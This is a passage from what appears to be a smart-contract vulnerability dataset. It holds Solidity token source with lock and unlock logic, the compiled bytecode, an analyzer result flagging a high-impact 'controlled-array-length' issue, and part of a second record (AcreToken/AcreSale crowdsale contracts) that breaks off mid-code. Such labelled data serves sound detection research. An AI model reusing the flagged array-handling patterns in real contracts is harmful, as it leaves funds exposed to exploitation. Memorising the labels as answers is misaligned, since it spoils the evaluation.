} function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105c6565b604080519115158252519081900360200190f35b6102586105dc565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105e3565b6102a86106ca565b6040805160ff9092168252519081900360200190f35b6102586106cf565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106df565b6102fa610720565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b031661080d565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108b6565b6040805192835260208301919091528051918290030190f35b61023c61092f565b6102586004803603602081101561038557600080fd5b50356001600160a01b031661093f565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109d9565b6102fa610c87565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d70565b6103f7610e1c565b604080516001600160a01b039092168252519081900360200190f35b61019b610e2b565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e4d565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f4b565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f87565b610258600480360360408110156104b557600080fd5b506001600160a01b0381358116916020013516611059565b61023c600480360360608110156104e357600080fd5b506001600160a01b038135169060208101359060400135611084565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112a1565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112bc565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b031661142b565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b0316611449565b604051806040016040528060048152602001600160e01b634f5449530281525081565b60006105d33384846114a6565b50600192915050565b6002545b90565b600354600090600160a01b900460ff161561063d5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106ae5760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106b784611598565b6106c28484846117bb565b949350505050565b601281565b6b06765c793fa10079d000000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d391859061071b908663ffffffff61180d16565b6114a6565b6003546001600160a01b031633146107715760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107d25760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b0316331461085e5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108dd57fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061091257fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109b8576001600160a01b038416600090815260056020526040902080546109ae91908390811061098d57fe5b9060005260206000209060020201600101548361180d90919063ffffffff16565b9150600101610944565b506109d2816109c68561186a565b9063ffffffff61180d16565b9392505050565b6003546001600160a01b03163314610a2a5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610a995760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610afb919083908110610ac257fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61180d16565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b4f57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610b9a57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c59576001600160a01b038216600090815260056020526040902080546000198101908110610bfc57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c3a57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c82906000198301611bac565b505050565b6003546001600160a01b03163314610cd85760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d2f5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dc15760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060038152602001600160e81b624f54530281525081565b6003546001600160a01b03163314610e9e5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610ea78261186a565b811115610efe5760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f088282611885565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d391859061071b908663ffffffff61194f16565b3360009081526004602052604081205460ff1615610fef5760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff16156110465760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b61104f33611598565b6109d283836119af565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110d85760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0384166111365760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b60035461114b906001600160a01b031661186a565b8311156111a25760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111cd908463ffffffff61194f16565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d1b833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b0316331461130d5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b816113178461186a565b101561136d5760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611396908363ffffffff61194f16565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b0316331461149a5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114a3816119bc565b50565b6001600160a01b0383166114ee57604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d816024913960400191505060405180910390fd5b6001600160a01b03821661153657604051600160e51b62461bcd028152600401808060200182810382526022815260200180611cf96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117b7576001600160a01b03821660009081526005602052604090208054429190839081106115e257fe5b906000526020600020906002020160000154116117af576001600160a01b03821660009081526005602052604090208054611622919083908110610ac257fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061167657fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116c157fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611784576001600160a01b03821660009081526005602052604090208054600019810190811061172357fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061176157fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117ad906000198301611bac565b505b60010161159b565b5050565b60006117c8848484611a76565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461180391869161071b908663ffffffff61194f16565b5060019392505050565b6000828201838110156109d25760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118cd57604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d3b6021913960400191505060405180910390fd5b6002546118e0908263ffffffff61194f16565b6002556001600160a01b03821660009081526020819052604090205461190c908263ffffffff61194f16565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d1b833981519152929081900390910190a35050565b6000828211156119a95760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105d3338484611a76565b6001600160a01b038116611a1a5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611abe57604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d5c6025913960400191505060405180910390fd5b6001600160a01b038216611b0657604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cd66023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b2f908263ffffffff61194f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b64908263ffffffff61180d16565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d1b83398151915292918290030190a3505050565b815481835581811115610c8257600083815260209020610c82916105e09160029182028101918502015b80821115611bf05760008082556001820155600201611bd6565b5090565b6001600160a01b038216611c525760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c65908263ffffffff61180d16565b6002556001600160a01b038216600090815260208190526040902054611c91908263ffffffff61180d16565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d1b8339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a723058206fcef6f6863b37a626c75a292d4acd77f2f4ad58893e7bb6e8f26906107226820029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,644
0xcf4af1f0fcb410d3ca319a638a425604231be865
pragma solidity 0.4.20; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; assert(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { assert(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; assert(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { assert(b > 0); c = a / b; assert(a == b * c + a % b); } } contract AcreConfig { using SafeMath for uint; uint internal constant TIME_FACTOR = 1 minutes; // Ownable uint internal constant OWNERSHIP_DURATION_TIME = 7; // 7 days // MultiOwnable uint8 internal constant MULTI_OWNER_COUNT = 5; // 5 accounts, exclude master // Lockable uint internal constant LOCKUP_DURATION_TIME = 365; // 365 days // AcreToken string internal constant TOKEN_NAME = "TAA"; string internal constant TOKEN_SYMBOL = "TAA"; uint8 internal constant TOKEN_DECIMALS = 18; uint internal constant INITIAL_SUPPLY = 1*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant CAPITAL_SUPPLY = 31*1e6 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant PRE_PAYMENT_SUPPLY = 19*1e6 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant MAX_MINING_SUPPLY = 4*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply // Sale uint internal constant MIN_ETHER = 1*1e17; // 0.1 ether uint internal constant EXCHANGE_RATE = 1000; // 1 eth = 1000 acre uint internal constant PRESALE_DURATION_TIME = 15; // 15 days uint internal constant CROWDSALE_DURATION_TIME = 21; // 21 days // helper function getDays(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 days); } function getHours(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 hours); } function getMinutes(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 minutes); } } contract Ownable is AcreConfig { address public owner; address public reservedOwner; uint public ownershipDeadline; event ReserveOwnership(address indexed oldOwner, address indexed newOwner); event ConfirmOwnership(address indexed oldOwner, address indexed newOwner); event CancelOwnership(address indexed oldOwner, address indexed newOwner); modifier onlyOwner { require(msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } function reserveOwnership(address newOwner) onlyOwner public returns (bool success) { require(newOwner != address(0)); ReserveOwnership(owner, newOwner); reservedOwner = newOwner; ownershipDeadline = SafeMath.add(now, SafeMath.mul(OWNERSHIP_DURATION_TIME, TIME_FACTOR)); return true; } function confirmOwnership() onlyOwner public returns (bool success) { require(reservedOwner != address(0)); require(now > ownershipDeadline); ConfirmOwnership(owner, reservedOwner); owner = reservedOwner; reservedOwner = address(0); return true; } function cancelOwnership() onlyOwner public returns (bool success) { require(reservedOwner != address(0)); CancelOwnership(owner, reservedOwner); reservedOwner = address(0); return true; } } contract MultiOwnable is Ownable { address[] public owners; event GrantOwners(address indexed owner); event RevokeOwners(address indexed owner); modifier onlyMutiOwners { require(isExistedOwner(msg.sender)); _; } modifier onlyManagers { require(isManageable(msg.sender)); _; } function MultiOwnable() public { owners.length = MULTI_OWNER_COUNT; } function grantOwners(address _owner) onlyOwner public returns (bool success) { require(!isExistedOwner(_owner)); require(isEmptyOwner()); owners[getEmptyIndex()] = _owner; GrantOwners(_owner); return true; } function revokeOwners(address _owner) onlyOwner public returns (bool success) { require(isExistedOwner(_owner)); owners[getOwnerIndex(_owner)] = address(0); RevokeOwners(_owner); return true; } // helper function isManageable(address _owner) internal constant returns (bool) { return isExistedOwner(_owner) || owner == _owner; } function isExistedOwner(address _owner) internal constant returns (bool) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == _owner) { return true; } } } function getOwnerIndex(address _owner) internal constant returns (uint) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == _owner) { return i; } } } function isEmptyOwner() internal constant returns (bool) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == address(0)) { return true; } } } function getEmptyIndex() internal constant returns (uint) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == address(0)) { return i; } } } } contract Pausable is MultiOwnable { bool public paused = false; event Pause(); event Unpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } modifier whenConditionalPassing() { if(!isManageable(msg.sender)) { require(!paused); } _; } function pause() onlyManagers whenNotPaused public returns (bool success) { paused = true; Pause(); return true; } function unpause() onlyManagers whenPaused public returns (bool success) { paused = false; Unpause(); return true; } } contract Lockable is Pausable { mapping (address => uint) public locked; event Lockup(address indexed target, uint startTime, uint deadline); function lockup(address _target) onlyOwner public returns (bool success) { require(!isManageable(_target)); locked[_target] = SafeMath.add(now, SafeMath.mul(LOCKUP_DURATION_TIME, TIME_FACTOR)); Lockup(_target, now, locked[_target]); return true; } // helper function isLockup(address _target) internal constant returns (bool) { if(now <= locked[_target]) return true; } } interface tokenRecipient { function receiveApproval(address _from, uint _value, address _token, bytes _extraData) external; } contract TokenERC20 { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint public totalSupply; mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; event ERC20Token(address indexed owner, string name, string symbol, uint8 decimals, uint supply); event Transfer(address indexed from, address indexed to, uint value); event TransferFrom(address indexed from, address indexed to, address indexed spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); function TokenERC20( string _tokenName, string _tokenSymbol, uint8 _tokenDecimals, uint _initialSupply ) public { name = _tokenName; symbol = _tokenSymbol; decimals = _tokenDecimals; totalSupply = _initialSupply; balanceOf[msg.sender] = totalSupply; ERC20Token(msg.sender, name, symbol, decimals, totalSupply); } function _transfer(address _from, address _to, uint _value) internal returns (bool success) { require(_to != address(0)); require(balanceOf[_from] >= _value); require(SafeMath.add(balanceOf[_to], _value) > balanceOf[_to]); uint previousBalances = SafeMath.add(balanceOf[_from], balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(_from, _to, _value); assert(SafeMath.add(balanceOf[_from], balanceOf[_to]) == previousBalances); return true; } function transfer(address _to, uint _value) public returns (bool success) { return _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); TransferFrom(_from, _to, msg.sender, _value); return true; } function approve(address _spender, uint _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract AcreToken is Lockable, TokenERC20 { string public version = '1.0'; address public companyCapital; address public prePayment; uint public totalMineSupply; mapping (address => bool) public frozenAccount; event FrozenAccount(address indexed target, bool frozen); event Burn(address indexed owner, uint value); event Mining(address indexed recipient, uint value); event WithdrawContractToken(address indexed owner, uint value); function AcreToken(address _companyCapital, address _prePayment) TokenERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, INITIAL_SUPPLY) public { require(_companyCapital != address(0)); require(_prePayment != address(0)); companyCapital = _companyCapital; prePayment = _prePayment; transfer(companyCapital, CAPITAL_SUPPLY); transfer(prePayment, PRE_PAYMENT_SUPPLY); lockup(prePayment); pause(); } function _transfer(address _from, address _to, uint _value) whenConditionalPassing internal returns (bool success) { require(!frozenAccount[_from]); // freeze require(!frozenAccount[_to]); require(!isLockup(_from)); // lockup require(!isLockup(_to)); return super._transfer(_from, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(!frozenAccount[msg.sender]); // freeze require(!isLockup(msg.sender)); // lockup return super.transferFrom(_from, _to, _value); } function freezeAccount(address _target) onlyManagers public returns (bool success) { require(!isManageable(_target)); require(!frozenAccount[_target]); frozenAccount[_target] = true; FrozenAccount(_target, true); return true; } function unfreezeAccount(address _target) onlyManagers public returns (bool success) { require(frozenAccount[_target]); frozenAccount[_target] = false; FrozenAccount(_target, false); return true; } function burn(uint _value) onlyManagers public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); return true; } function mining(address _recipient, uint _value) onlyManagers public returns (bool success) { require(_recipient != address(0)); require(!frozenAccount[_recipient]); // freeze require(!isLockup(_recipient)); // lockup require(SafeMath.add(totalMineSupply, _value) <= MAX_MINING_SUPPLY); balanceOf[_recipient] = balanceOf[_recipient].add(_value); totalSupply = totalSupply.add(_value); totalMineSupply = totalMineSupply.add(_value); Mining(_recipient, _value); return true; } function withdrawContractToken(uint _value) onlyManagers public returns (bool success) { _transfer(this, msg.sender, _value); WithdrawContractToken(msg.sender, _value); return true; } function getContractBalanceOf() public constant returns(uint blance) { blance = balanceOf[this]; } function getRemainingMineSupply() public constant returns(uint supply) { supply = MAX_MINING_SUPPLY - totalMineSupply; } function () public { revert(); } } contract AcreSale is MultiOwnable { uint public saleDeadline; uint public startSaleTime; uint public softCapToken; uint public hardCapToken; uint public soldToken; uint public receivedEther; address public sendEther; AcreToken public tokenReward; bool public fundingGoalReached = false; bool public saleOpened = false; Payment public kyc; Payment public refund; Payment public withdrawal; mapping(uint=>address) public indexedFunders; mapping(address => Order) public orders; uint public funderCount; event StartSale(uint softCapToken, uint hardCapToken, uint minEther, uint exchangeRate, uint startTime, uint deadline); event ReservedToken(address indexed funder, uint amount, uint token, uint bonusRate); event WithdrawFunder(address indexed funder, uint value); event WithdrawContractToken(address indexed owner, uint value); event CheckGoalReached(uint raisedAmount, uint raisedToken, bool reached); event CheckOrderstate(address indexed funder, eOrderstate oldState, eOrderstate newState); enum eOrderstate { NONE, KYC, REFUND } struct Order { eOrderstate state; uint paymentEther; uint reservedToken; bool withdrawn; } struct Payment { uint token; uint eth; uint count; } modifier afterSaleDeadline { require(now > saleDeadline); _; } function AcreSale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) public { require(_sendEther != address(0)); require(_addressOfTokenUsedAsReward != address(0)); require(_softCapToken > 0 && _softCapToken <= _hardCapToken); sendEther = _sendEther; softCapToken = _softCapToken * 10 ** uint(TOKEN_DECIMALS); hardCapToken = _hardCapToken * 10 ** uint(TOKEN_DECIMALS); tokenReward = AcreToken(_addressOfTokenUsedAsReward); } function startSale(uint _durationTime) onlyManagers internal { require(softCapToken > 0 && softCapToken <= hardCapToken); require(hardCapToken > 0 && hardCapToken <= tokenReward.balanceOf(this)); require(_durationTime > 0); require(startSaleTime == 0); startSaleTime = now; saleDeadline = SafeMath.add(startSaleTime, SafeMath.mul(_durationTime, TIME_FACTOR)); saleOpened = true; StartSale(softCapToken, hardCapToken, MIN_ETHER, EXCHANGE_RATE, startSaleTime, saleDeadline); } // get function getRemainingSellingTime() public constant returns(uint remainingTime) { if(now <= saleDeadline) { remainingTime = getMinutes(SafeMath.sub(saleDeadline, now)); } } function getRemainingSellingToken() public constant returns(uint remainingToken) { remainingToken = SafeMath.sub(hardCapToken, soldToken); } function getSoftcapReached() public constant returns(bool reachedSoftcap) { reachedSoftcap = soldToken >= softCapToken; } function getContractBalanceOf() public constant returns(uint blance) { blance = tokenReward.balanceOf(this); } function getCurrentBonusRate() public constant returns(uint8 bonusRate); // check function checkGoalReached() onlyManagers afterSaleDeadline public { if(saleOpened) { if(getSoftcapReached()) { fundingGoalReached = true; } saleOpened = false; CheckGoalReached(receivedEther, soldToken, fundingGoalReached); } } function checkKYC(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(orders[_funder].reservedToken > 0); require(orders[_funder].state != eOrderstate.KYC); require(!orders[_funder].withdrawn); eOrderstate oldState = orders[_funder].state; // old, decrease if(oldState == eOrderstate.REFUND) { refund.token = refund.token.sub(orders[_funder].reservedToken); refund.eth = refund.eth.sub(orders[_funder].paymentEther); refund.count = refund.count.sub(1); } // state orders[_funder].state = eOrderstate.KYC; kyc.token = kyc.token.add(orders[_funder].reservedToken); kyc.eth = kyc.eth.add(orders[_funder].paymentEther); kyc.count = kyc.count.add(1); CheckOrderstate(_funder, oldState, eOrderstate.KYC); } function checkRefund(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(orders[_funder].reservedToken > 0); require(orders[_funder].state != eOrderstate.REFUND); require(!orders[_funder].withdrawn); eOrderstate oldState = orders[_funder].state; // old, decrease if(oldState == eOrderstate.KYC) { kyc.token = kyc.token.sub(orders[_funder].reservedToken); kyc.eth = kyc.eth.sub(orders[_funder].paymentEther); kyc.count = kyc.count.sub(1); } // state orders[_funder].state = eOrderstate.REFUND; refund.token = refund.token.add(orders[_funder].reservedToken); refund.eth = refund.eth.add(orders[_funder].paymentEther); refund.count = refund.count.add(1); CheckOrderstate(_funder, oldState, eOrderstate.REFUND); } // withdraw function withdrawFunder(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(fundingGoalReached); require(orders[_funder].reservedToken > 0); require(orders[_funder].state == eOrderstate.KYC); require(!orders[_funder].withdrawn); // token tokenReward.transfer(_funder, orders[_funder].reservedToken); withdrawal.token = withdrawal.token.add(orders[_funder].reservedToken); withdrawal.eth = withdrawal.eth.add(orders[_funder].paymentEther); withdrawal.count = withdrawal.count.add(1); orders[_funder].withdrawn = true; WithdrawFunder(_funder, orders[_funder].reservedToken); } function withdrawContractToken(uint _value) onlyManagers public { tokenReward.transfer(msg.sender, _value); WithdrawContractToken(msg.sender, _value); } // payable function () payable public { require(saleOpened); require(now <= saleDeadline); require(MIN_ETHER <= msg.value); uint amount = msg.value; uint curBonusRate = getCurrentBonusRate(); uint token = (amount.mul(curBonusRate.add(100)).div(100)).mul(EXCHANGE_RATE); require(token > 0); require(SafeMath.add(soldToken, token) <= hardCapToken); sendEther.transfer(amount); // funder info if(orders[msg.sender].paymentEther == 0) { indexedFunders[funderCount] = 